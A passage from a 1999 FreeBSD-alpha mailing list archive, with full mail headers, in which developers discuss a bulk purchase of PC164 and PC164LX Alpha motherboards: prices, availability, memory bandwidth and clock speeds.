past despite noncompliance may now fail when executed on systems featuring the new 21264 processor. Does anyone know if this is relevant to gcc on linux? The above page includes a tool which finds inconsistencies in a binary (on VMS systems, of course): http://www.openvms.digital.com/openvms/srm_check.exe Does anyone know if such a thing is needed and/or available for Linux? I didn't find any such caveats on the "Tru64 Unix" pages. -- Harvey J. Stein BFM Financial Research hjstein@bfr.co.il -- To unsubscribe: send e-mail to axp-list-request@redhat.com with 'unsubscribe' as the subject. Do not send it to axp-list@redhat.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 14 8:58:47 1999 Delivered-To: freebsd-alpha@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 608) id 8F8C3157B7; Wed, 14 Apr 1999 08:58:46 -0700 (PDT) From: "Jonathan M. Bresler" To: chuckr@picnic.mat.net Cc: wilko@yedi.iaf.nl, freebsd-alpha@FreeBSD.ORG In-reply-to: (message from Chuck Robey on Wed, 14 Apr 1999 09:13:11 -0400 (EDT)) Subject: Re: many cheap PC164 boards -- gret for NetBSD (fwd) Message-Id: <19990414155846.8F8C3157B7@hub.freebsd.org> Date: Wed, 14 Apr 1999 08:58:46 -0700 (PDT) Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org thanks for the heads up i'll see what he says. jmb To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 14 10:51:17 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from zippy.cdrom.com (zippy.cdrom.com [204.216.27.228]) by hub.freebsd.org (Postfix) with ESMTP id 6CFEF1559F for ; Wed, 14 Apr 1999 10:51:15 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) Received: from zippy.cdrom.com (localhost [127.0.0.1]) by zippy.cdrom.com (8.9.3/8.9.3) with ESMTP id KAA10942; Wed, 14 Apr 1999 10:49:09 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) To: "Koscielny, Wally" Cc: "'Chuck Robey'" , freebsd-alpha@FreeBSD.ORG Subject: Re: many cheap PC164 boards -- gret for NetBSD (fwd) In-reply-to: Your message of "Wed, 14 Apr 1999 09:35:48 EDT." Date: Wed, 14 Apr 1999 10:49:08 -0700 Message-ID: <10940.924112148@zippy.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > A store near me has/had these boards with a 500 mhz chip for $250. They also > have/had the pc164lx with a 533 chip for $800, which is what im planning to > get. If any of you want the pc164's with chips for 250 plus shipping let me > know and i can check if the place still has them. Please find out how many are available - we (the project) would love to buy about 5 of them and make complete systems out of them for developers. We've also mailed Thor, but I don't know if we've gotten a reply yet. - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 14 11: 3:49 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail1.panix.com (mail1.panix.com [166.84.0.212]) by hub.freebsd.org (Postfix) with ESMTP id C63FB1532A for ; Wed, 14 Apr 1999 11:03:44 -0700 (PDT) (envelope-from tls@panix.com) Received: from panix7.panix.com (root@panix7.nyc.access.net [166.84.0.232]) by mail1.panix.com (8.8.8/8.8.8/PanixM1.3) with ESMTP id OAA13691; Wed, 14 Apr 1999 14:01:18 -0400 (EDT) Received: (from tls@localhost) by panix7.panix.com (8.8.8/8.7.1/PanixN1.0) id OAA21407; Wed, 14 Apr 1999 14:03:34 -0400 (EDT) Date: Wed, 14 Apr 1999 14:03:34 -0400 From: Thor Lancelot Simon To: "Jordan K. Hubbard" Cc: freebsd-alpha@freebsd.org Subject: Re: many cheap PC164 boards -- gret for NetBSD (fwd) Message-ID: <19990414140334.A21197@rek.tjls.com> Reply-To: tls@rek.tjls.com References: <10940.924112148@zippy.cdrom.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: <10940.924112148@zippy.cdrom.com>; from Jordan K. Hubbard on Wed, Apr 14, 1999 at 10:49:08AM -0700 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, Apr 14, 1999 at 10:49:08AM -0700, Jordan K. Hubbard wrote: > > A store near me has/had these boards with a 500 mhz chip for $250. They also > > have/had the pc164lx with a 533 chip for $800, which is what im planning to > > get. If any of you want the pc164's with chips for 250 plus shipping let me > > know and i can check if the place still has them. > > Please find out how many are available - we (the project) would love > to buy about 5 of them and make complete systems out of them for > developers. We've also mailed Thor, but I don't know if we've gotten > a reply yet. Sorry for the lack of response -- as I told Wilko, I didn't anticipate that he'd forward my email to the FreeBSD list, and I've been trying to pin down exactly how many boards I _can_ get, due to the unanticipated extra demand; the larger number of boards has also meant that I may have a cash-flow issue unless I can negotiate the price down enough. I expected to buy about 25-30; now, with massive demand from NetBSD/alpha folks (these are very popular for servers, since they're very stable and if you put 8 SIMMs in them they have more memory bandwidth than the LX boards, too) and the additional FreeBSD people, it looks like I'm going to end up needing at least 60, possibly more. I've been discussing all this with the vendor and will mail out an update within a few days, probably by Monday at the latest. Thor -- Thor Lancelot Simon tls@rek.tjls.com "And where do all these highways go, now that we are free?" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 14 11: 5:22 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from swp5.gs.com (swp5.gs.com [192.246.9.39]) by hub.freebsd.org (Postfix) with ESMTP id C530215057 for ; Wed, 14 Apr 1999 11:05:18 -0700 (PDT) (envelope-from Wally.Koscielny@gs.com) Received: from swp5.gs.com (root@localhost) by swp5.gs.com with ESMTP id OAA00445; Wed, 14 Apr 1999 14:02:54 -0400 (EDT) Received: from nbcppsh02.wan.gs.com ([199.29.246.34]) by swp5.gs.com with ESMTP id OAA00435; Wed, 14 Apr 1999 14:02:53 -0400 (EDT) Received: from nbcppsh01.wan.gs.com (nbcppsh01.wan.gs.com [138.8.220.34]) by nbcppsh02.wan.gs.com (8.9.1a/8.9.0/dmzpo1) with ESMTP id OAA22267; Wed, 14 Apr 1999 14:03:07 -0400 (EDT) Received: from gsny24e.et.gs.com (gsny24e.et.gs.com [138.8.115.34]) by nbcppsh01.wan.gs.com (8.9.1a/8.9.0/postoffice1) with ESMTP id OAA05385; Wed, 14 Apr 1999 14:02:51 -0400 (EDT) Received: by gsny24e.et.gs.com with Internet Mail Service (5.0.1460.8) id <2ZHX5PAQ>; Wed, 14 Apr 1999 14:02:41 -0400 Message-ID: From: "Koscielny, Wally" To: "'Jordan K. Hubbard'" Cc: "'Chuck Robey'" , freebsd-alpha@FreeBSD.ORG Subject: RE: many cheap PC164 boards -- gret for NetBSD (fwd) Date: Wed, 14 Apr 1999 14:02:40 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.0.1460.8) Content-Type: text/plain Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org They only have one 164LX+533 left for $800 which I bought. The salesman said that they get shipments of 25 and next shipment should be due soon. He will contact me when they get the shipment. BTW_What is the retail value of these boards+chips (both the PC164+500 and PC164+533) WK > -----Original Message----- > From: Jordan K. Hubbard [SMTP:jkh@zippy.cdrom.com] > Sent: Wednesday, April 14, 1999 1:49 PM > To: Koscielny, Wally > Cc: 'Chuck Robey'; freebsd-alpha@FreeBSD.ORG > Subject: Re: many cheap PC164 boards -- gret for NetBSD (fwd) > > > A store near me has/had these boards with a 500 mhz chip for $250. They > also > > have/had the pc164lx with a 533 chip for $800, which is what im planning > to > > get. If any of you want the pc164's with chips for 250 plus shipping let > me > > know and i can check if the place still has them. > > Please find out how many are available - we (the project) would love > to buy about 5 of them and make complete systems out of them for > developers. We've also mailed Thor, but I don't know if we've gotten > a reply yet. > > - Jordan > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-alpha" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 14 11:19:35 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from dingo.cdrom.com (castles535.castles.com [208.214.165.99]) by hub.freebsd.org (Postfix) with ESMTP id 6AC2114DF4 for ; Wed, 14 Apr 1999 11:19:11 -0700 (PDT) (envelope-from mike@dingo.cdrom.com) Received: from dingo.cdrom.com (localhost [127.0.0.1]) by dingo.cdrom.com (8.9.3/8.8.8) with ESMTP id LAA03969; Wed, 14 Apr 1999 11:13:45 -0700 (PDT) (envelope-from mike@dingo.cdrom.com) Message-Id: <199904141813.LAA03969@dingo.cdrom.com> X-Mailer: exmh version 2.0.2 2/24/98 To: "Jordan K. Hubbard" Cc: "Koscielny, Wally" , "'Chuck Robey'" , freebsd-alpha@FreeBSD.ORG Subject: Re: many cheap PC164 boards -- gret for NetBSD (fwd) In-reply-to: Your message of "Wed, 14 Apr 1999 10:49:08 PDT." <10940.924112148@zippy.cdrom.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 14 Apr 1999 11:13:45 -0700 From: Mike Smith Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > A store near me has/had these boards with a 500 mhz chip for $250. They also > > have/had the pc164lx with a 533 chip for $800, which is what im planning to > > get. If any of you want the pc164's with chips for 250 plus shipping let me > > know and i can check if the place still has them. > > Please find out how many are available - we (the project) would love > to buy about 5 of them and make complete systems out of them for > developers. We've also mailed Thor, but I don't know if we've gotten > a reply yet. Thor said he's been utterly swamped with requests for these boards, and isn't sure he can make our requested quantity. I'm waiting to hear back from him at the moment - he was going to check the total quantity available and try to allocate them, etc. Somehow I get the impression he was surprised at the level of interest. 8) -- \\ Sometimes you're ahead, \\ Mike Smith \\ sometimes you're behind. \\ mike@smith.net.au \\ The race is long, and in the \\ msmith@freebsd.org \\ end it's only with yourself. \\ msmith@cdrom.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 14 11:21: 7 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from picnic.mat.net (picnic.mat.net [206.246.122.133]) by hub.freebsd.org (Postfix) with ESMTP id AB256157FC for ; Wed, 14 Apr 1999 11:21:02 -0700 (PDT) (envelope-from chuckr@picnic.mat.net) Received: from localhost (chuckr@localhost) by picnic.mat.net (8.9.3/8.8.5) with ESMTP id OAA48472; Wed, 14 Apr 1999 14:16:21 -0400 (EDT) Date: Wed, 14 Apr 1999 14:16:21 -0400 (EDT) From: Chuck Robey To: "Jordan K. Hubbard" Cc: "Koscielny, Wally" , freebsd-alpha@FreeBSD.ORG Subject: Re: many cheap PC164 boards -- gret for NetBSD (fwd) In-Reply-To: <10940.924112148@zippy.cdrom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, 14 Apr 1999, Jordan K. Hubbard wrote: > > A store near me has/had these boards with a 500 mhz chip for $250. > > They also have/had the pc164lx with a 533 chip for $800, which is > > what im planning to get. If any of you want the pc164's with chips > > for 250 plus shipping let me know and i can check if the place > > still has them. Am I missing something? $250 for a 500MHz system but you'd rather pay $800 for a 533 system, that someone told me wasn't really as good as the plain PC164? I'm missing something, please, could you enlighten me? It *seems* pretty strange. > > Please find out how many are available - we (the project) would love > to buy about 5 of them and make complete systems out of them for > developers. We've also mailed Thor, but I don't know if we've gotten > a reply yet. > > - Jordan > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-alpha" in the body of the message > ----------------------------+----------------------------------------------- Chuck Robey | Interests include any kind of voice or data chuckr@picnic.mat.net | communications topic, C programming, and Unix. 213 Lakeside Drive Apt T-1 | Greenbelt, MD 20770 | I run picnic (FreeBSD-current) (301) 220-2114 | and jaunt (Solaris7). ----------------------------+----------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 14 11:21:35 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail1.panix.com (mail1.panix.com [166.84.0.212]) by hub.freebsd.org (Postfix) with ESMTP id C7CB5157DA for ; Wed, 14 Apr 1999 11:21:24 -0700 (PDT) (envelope-from tls@panix.com) Received: from panix7.panix.com (root@panix7.nyc.access.net [166.84.0.232]) by mail1.panix.com (8.8.8/8.8.8/PanixM1.3) with ESMTP id OAA16719; Wed, 14 Apr 1999 14:19:03 -0400 (EDT) Received: (from tls@localhost) by panix7.panix.com (8.8.8/8.7.1/PanixN1.0) id OAA21795; Wed, 14 Apr 1999 14:21:20 -0400 (EDT) Date: Wed, 14 Apr 1999 14:21:19 -0400 From: Thor Lancelot Simon To: "Koscielny, Wally" Cc: freebsd-alpha@freebsd.org Subject: Re: many cheap PC164 boards -- gret for NetBSD (fwd) Message-ID: <19990414142119.C21197@rek.tjls.com> Reply-To: tls@rek.tjls.com References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: ; from Koscielny, Wally on Wed, Apr 14, 1999 at 02:02:40PM -0400 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, Apr 14, 1999 at 02:02:40PM -0400, Koscielny, Wally wrote: > They only have one 164LX+533 left for $800 which I bought. The salesman said > that they get shipments of 25 and next shipment should be due soon. He will > contact me when they get the shipment. > > BTW_What is the retail value of these boards+chips (both the PC164+500 and > PC164+533) My vendor tells me that if you put the 533Mhz part on a PC164 board, it will only run at 500MHz. So that's something to be aware of. I have limited experience in replacing the oscillators on these boards (to *down* clock them, in my case, so I could recover from a nasty firmware flash utility bug by using the SROM debugger, which doesn't autobaud right at higher clock rates) and while it's probably not too hard, I think you'd have significant trouble getting the oscillator you need to do it, I got a few leftover samples from a research lab, but minimum orders for the parts are usually in the thousands. (Hm, that was for a PC64, actually -- but somehow I suspect it'd be similar for the PC164, though I've never tried it.) FWIW, nb01.netbsd.org was formerly a personal machine of mine, and was for a time the office fileserver, development build box, and firewall (we had a power hit that ruined *all* these separate machines, so I dragged the Alpha in from home to replace several high-end PPro boxes :-) at an employer of mine, where it ran for about four months before we could replace it. That was almost two years ago, but that box (a 433MHz PC164 from Microway) cost me about $2500 bare. I'm not sure there *is* a "retail value" of these boards now, since they're no longer made (and the Samsung equivalents that are still in production won't run SRM, so you can't get the UNIX PALcode to run NetBSD on them) but I would probably have bought one at $800-$1000 and thought I'd got a decent deal, if I hadn't managed to set up the bulk order. Thor To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 14 11:23: 3 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from zippy.cdrom.com (zippy.cdrom.com [204.216.27.228]) by hub.freebsd.org (Postfix) with ESMTP id 98C7E15134 for ; Wed, 14 Apr 1999 11:23:02 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) Received: from zippy.cdrom.com (localhost [127.0.0.1]) by zippy.cdrom.com (8.9.3/8.9.3) with ESMTP id LAA11184; Wed, 14 Apr 1999 11:21:06 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) To: tls@rek.tjls.com Cc: freebsd-alpha@freebsd.org Subject: Re: many cheap PC164 boards -- gret for NetBSD (fwd) In-reply-to: Your message of "Wed, 14 Apr 1999 14:03:34 EDT." <19990414140334.A21197@rek.tjls.com> Date: Wed, 14 Apr 1999 11:21:06 -0700 Message-ID: <11182.924114066@zippy.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > Sorry for the lack of response -- as I told Wilko, I didn't anticipate that > he'd forward my email to the FreeBSD list, and I've been trying to pin down > exactly how many boards I _can_ get, due to the unanticipated extra demand; > the larger number of boards has also meant that I may have a cash-flow issue > unless I can negotiate the price down enough. I expected to buy about 25-30; Understood, and if you need some money up-front, we can take care of this too. - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 14 11:26:36 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from dingo.cdrom.com (castles535.castles.com [208.214.165.99]) by hub.freebsd.org (Postfix) with ESMTP id EFB4B14F78 for ; Wed, 14 Apr 1999 11:26:32 -0700 (PDT) (envelope-from mike@dingo.cdrom.com) Received: from dingo.cdrom.com (localhost [127.0.0.1]) by dingo.cdrom.com (8.9.3/8.8.8) with ESMTP id LAA04029; Wed, 14 Apr 1999 11:21:14 -0700 (PDT) (envelope-from mike@dingo.cdrom.com) Message-Id: <199904141821.LAA04029@dingo.cdrom.com> X-Mailer: exmh version 2.0.2 2/24/98 To: tls@rek.tjls.com Cc: freebsd-alpha@freebsd.org Subject: Re: many cheap PC164 boards -- gret for NetBSD (fwd) In-reply-to: Your message of "Wed, 14 Apr 1999 14:21:19 EDT." <19990414142119.C21197@rek.tjls.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 14 Apr 1999 11:21:14 -0700 From: Mike Smith Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > My vendor tells me that if you put the 533Mhz part on a PC164 board, it will > only run at 500MHz. So that's something to be aware of. I have limited > experience in replacing the oscillators on these boards (to *down* clock > them, in my case, so I could recover from a nasty firmware flash utility bug > by using the SROM debugger, which doesn't autobaud right at higher clock > rates) and while it's probably not too hard, I think you'd have significant > trouble getting the oscillator you need to do it, I got a few leftover > samples from a research lab, but minimum orders for the parts are usually in > the thousands. Just as a datapoint; my previous employer regularly used to buy custom-cut oscillators in the 5-10 off range. For a one-off you're probably looking at a couple weeks wait and maybe US$20-50 depending on the supplier (all of ours were in Australia). -- \\ Sometimes you're ahead, \\ Mike Smith \\ sometimes you're behind. \\ mike@smith.net.au \\ The race is long, and in the \\ msmith@freebsd.org \\ end it's only with yourself. \\ msmith@cdrom.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 14 11:28:59 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from swp5.gs.com (swp5.gs.com [192.246.9.39]) by hub.freebsd.org (Postfix) with ESMTP id DA43214F78 for ; Wed, 14 Apr 1999 11:28:53 -0700 (PDT) (envelope-from Wally.Koscielny@gs.com) Received: from swp5.gs.com (root@localhost) by swp5.gs.com with ESMTP id OAA11242; Wed, 14 Apr 1999 14:26:32 -0400 (EDT) Received: from nbcppsh02.wan.gs.com ([199.29.246.34]) by swp5.gs.com with ESMTP id OAA11232; Wed, 14 Apr 1999 14:26:31 -0400 (EDT) Received: from nbcppsh01.wan.gs.com (nbcppsh01.wan.gs.com [138.8.220.34]) by nbcppsh02.wan.gs.com (8.9.1a/8.9.0/dmzpo1) with ESMTP id OAA27583; Wed, 14 Apr 1999 14:26:45 -0400 (EDT) Received: from gsny24e.et.gs.com (gsny24e.et.gs.com [138.8.115.34]) by nbcppsh01.wan.gs.com (8.9.1a/8.9.0/postoffice1) with ESMTP id OAA12389; Wed, 14 Apr 1999 14:26:30 -0400 (EDT) Received: by gsny24e.et.gs.com with Internet Mail Service (5.0.1460.8) id <2ZHX5PC0>; Wed, 14 Apr 1999 14:26:28 -0400 Message-ID: From: "Koscielny, Wally" To: "'Chuck Robey'" , "Jordan K. Hubbard" Cc: freebsd-alpha@FreeBSD.ORG Subject: RE: many cheap PC164 boards -- gret for NetBSD (fwd) Date: Wed, 14 Apr 1999 14:26:25 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.0.1460.8) Content-Type: text/plain Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Here are the specs for both the boards in question: PC164 + 500 Mhz. Supports CPU speeds up to 500MHz 16MB to 512MB FPM memory array one bank of either 4 (128-bit) or 8 (256-bit) commodity, 36-bit, 70ns SIMMs 1MB, direct-mapped L3 cache Synchronous SRAM backup cache with 128-bit data path ATX Form Factor Fits standard ATX case, but requires a hard-switched ATX power supply PC164LX + 533 Mhz. Supports CPU speeds up to 600Mhz 32MB to 512MB memory ECC SDRAM (undocumented support to 1 GB) 2MB cache size, using 128K X 18SSRAMs ATX Form Factor Fits standard ATX case and standard ATX power supply The chips are pretty much the same except one is 33 Mhz. faster. The LX board is still supported by Compaq/DEC Since the special power supply is 100.00 I rather just spend the extra money and get a better board and a faster chip. Here are some bogomips measurements i just grabbed off the net: 21164/500 PC164 497.02 21164A/533 PC164LX 530.57 WK > -----Original Message----- > From: Chuck Robey [SMTP:chuckr@picnic.mat.net] > Sent: Wednesday, April 14, 1999 2:16 PM > To: Jordan K. Hubbard > Cc: Koscielny, Wally; freebsd-alpha@FreeBSD.ORG > Subject: Re: many cheap PC164 boards -- gret for NetBSD (fwd) > > On Wed, 14 Apr 1999, Jordan K. Hubbard wrote: > > > > A store near me has/had these boards with a 500 mhz chip for $250. > > > They also have/had the pc164lx with a 533 chip for $800, which is > > > what im planning to get. If any of you want the pc164's with chips > > > for 250 plus shipping let me know and i can check if the place > > > still has them. > > Am I missing something? $250 for a 500MHz system but you'd rather pay > $800 for a 533 system, that someone told me wasn't really as good as the > plain PC164? I'm missing something, please, could you enlighten me? > > It *seems* pretty strange. > > > > > Please find out how many are available - we (the project) would love > > to buy about 5 of them and make complete systems out of them for > > developers. We've also mailed Thor, but I don't know if we've gotten > > a reply yet. > > > > - Jordan > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-alpha" in the body of the message > > > > ----------------------------+--------------------------------------------- > -- > Chuck Robey | Interests include any kind of voice or data > chuckr@picnic.mat.net | communications topic, C programming, and > Unix. > 213 Lakeside Drive Apt T-1 | > Greenbelt, MD 20770 | I run picnic (FreeBSD-current) > (301) 220-2114 | and jaunt (Solaris7). > ----------------------------+--------------------------------------------- > -- > > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 14 11:31: 4 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from swp5.gs.com (swp5.gs.com [192.246.9.39]) by hub.freebsd.org (Postfix) with ESMTP id A8ECA14D2F for ; Wed, 14 Apr 1999 11:31:01 -0700 (PDT) (envelope-from Wally.Koscielny@gs.com) Received: from swp5.gs.com (root@localhost) by swp5.gs.com with ESMTP id OAA12270; Wed, 14 Apr 1999 14:28:40 -0400 (EDT) Received: from nbcppsh02.wan.gs.com ([199.29.246.34]) by swp5.gs.com with ESMTP id OAA12249; Wed, 14 Apr 1999 14:28:39 -0400 (EDT) Received: from nbcppsh01.wan.gs.com (nbcppsh01.wan.gs.com [138.8.220.34]) by nbcppsh02.wan.gs.com (8.9.1a/8.9.0/dmzpo1) with ESMTP id OAA28103; Wed, 14 Apr 1999 14:28:53 -0400 (EDT) Received: from gsny24e.et.gs.com (gsny24e.et.gs.com [138.8.115.34]) by nbcppsh01.wan.gs.com (8.9.1a/8.9.0/postoffice1) with ESMTP id OAA13105; Wed, 14 Apr 1999 14:28:38 -0400 (EDT) Received: by gsny24e.et.gs.com with Internet Mail Service (5.0.1460.8) id <2ZHX5PD2>; Wed, 14 Apr 1999 14:28:37 -0400 Message-ID: From: "Koscielny, Wally" To: "'tls@rek.tjls.com'" Cc: freebsd-alpha@FreeBSD.ORG Subject: RE: many cheap PC164 boards -- gret for NetBSD (fwd) Date: Wed, 14 Apr 1999 14:28:36 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.0.1460.8) Content-Type: text/plain Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org My mistake thats PC164LX with the 533 and PC164 with the 500. Sorry about the typo > -----Original Message----- > From: Thor Lancelot Simon [SMTP:tls@rek.tjls.com] > Sent: Wednesday, April 14, 1999 2:21 PM > To: Koscielny, Wally > Cc: freebsd-alpha@FreeBSD.ORG > Subject: Re: many cheap PC164 boards -- gret for NetBSD (fwd) > > On Wed, Apr 14, 1999 at 02:02:40PM -0400, Koscielny, Wally wrote: > > They only have one 164LX+533 left for $800 which I bought. The salesman > said > > that they get shipments of 25 and next shipment should be due soon. He > will > > contact me when they get the shipment. > > > > BTW_What is the retail value of these boards+chips (both the PC164+500 > and > > PC164+533) > > My vendor tells me that if you put the 533Mhz part on a PC164 board, it > will > only run at 500MHz. So that's something to be aware of. I have limited > experience in replacing the oscillators on these boards (to *down* clock > them, in my case, so I could recover from a nasty firmware flash utility > bug > by using the SROM debugger, which doesn't autobaud right at higher clock > rates) and while it's probably not too hard, I think you'd have > significant > trouble getting the oscillator you need to do it, I got a few leftover > samples from a research lab, but minimum orders for the parts are usually > in > the thousands. > > (Hm, that was for a PC64, actually -- but somehow I suspect it'd be > similar > for the PC164, though I've never tried it.) > > FWIW, nb01.netbsd.org was formerly a personal machine of mine, and was for > a > time the office fileserver, development build box, and firewall (we had a > power hit that ruined *all* these separate machines, so I dragged the > Alpha in from home to replace several high-end PPro boxes :-) at an > employer > of mine, where it ran for about four months before we could replace it. > That > was almost two years ago, but that box (a 433MHz PC164 from Microway) cost > me > about $2500 bare. > > I'm not sure there *is* a "retail value" of these boards now, since > they're > no longer made (and the Samsung equivalents that are still in production > won't run SRM, so you can't get the UNIX PALcode to run NetBSD on them) > but > I would probably have bought one at $800-$1000 and thought I'd got a > decent > deal, if I hadn't managed to set up the bulk order. > > Thor > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-alpha" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 14 15: 2: 8 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from lestat.nas.nasa.gov (lestat.nas.nasa.gov [129.99.50.29]) by hub.freebsd.org (Postfix) with ESMTP id CC92414BDD for ; Wed, 14 Apr 1999 15:02:06 -0700 (PDT) (envelope-from thorpej@lestat.nas.nasa.gov) Received: from lestat (localhost [127.0.0.1]) by lestat.nas.nasa.gov (8.8.8/8.6.12) with ESMTP id OAA15041; Wed, 14 Apr 1999 14:59:20 -0700 (PDT) Message-Id: <199904142159.OAA15041@lestat.nas.nasa.gov> To: "Koscielny, Wally" Cc: "'Chuck Robey'" , "Jordan K. Hubbard" , freebsd-alpha@FreeBSD.ORG Subject: Re: many cheap PC164 boards -- gret for NetBSD (fwd) Reply-To: Jason Thorpe From: Jason Thorpe Date: Wed, 14 Apr 1999 14:59:19 -0700 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, 14 Apr 1999 14:26:25 -0400 "Koscielny, Wally" wrote: > Since the special power supply is 100.00 I rather just spend the extra money > and get a better board and a faster chip. ...except the PC164 has more memory bandwidth if you fill the SIMM slots than the PC164LX. To me, the PC164 is a "better board" for that reason :-) -- Jason R. Thorpe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 14 16: 5:52 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail2.panix.com (mail2.panix.com [166.84.0.213]) by hub.freebsd.org (Postfix) with ESMTP id F252615899 for ; Wed, 14 Apr 1999 16:05:41 -0700 (PDT) (envelope-from tls@panix.com) Received: from panix7.panix.com (root@panix7.nyc.access.net [166.84.0.232]) by mail2.panix.com (8.8.8/8.8.8/PanixM1.3) with ESMTP id TAA26480; Wed, 14 Apr 1999 19:03:19 -0400 (EDT) Received: (from tls@localhost) by panix7.panix.com (8.8.8/8.7.1/PanixN1.0) id TAA02405; Wed, 14 Apr 1999 19:05:42 -0400 (EDT) Date: Wed, 14 Apr 1999 19:05:42 -0400 From: Thor Lancelot Simon To: Jason Thorpe Cc: freebsd-alpha@FreeBSD.ORG Subject: Re: many cheap PC164 boards -- gret for NetBSD (fwd) Message-ID: <19990414190542.A1460@rek.tjls.com> Reply-To: tls@rek.tjls.com References: <199904142159.OAA15041@lestat.nas.nasa.gov> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: <199904142159.OAA15041@lestat.nas.nasa.gov>; from Jason Thorpe on Wed, Apr 14, 1999 at 02:59:19PM -0700 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, Apr 14, 1999 at 02:59:19PM -0700, Jason Thorpe wrote: > On Wed, 14 Apr 1999 14:26:25 -0400 > "Koscielny, Wally" wrote: > > > Since the special power supply is 100.00 I rather just spend the extra money > > and get a better board and a faster chip. > > ...except the PC164 has more memory bandwidth if you fill the SIMM > slots than the PC164LX. To me, the PC164 is a "better board" for that > reason :-) Not quite so notoriously buggy, either -- though that shouldn't be an issue with a late-production 164LX board. It occurs to me that there's quite a bit on these boards at "http://www.netbsd.org/Ports/alpha/models.html#EB164-family Systems" -- there's text there which Ross and I wrote which pretty much delineates the differences between all of the EB164-family OEM systems. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 14 18: 5:56 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from friley-185-206.res.iastate.edu (friley-185-206.res.iastate.edu [129.186.185.206]) by hub.freebsd.org (Postfix) with ESMTP id C66DB14C8B for ; Wed, 14 Apr 1999 18:05:53 -0700 (PDT) 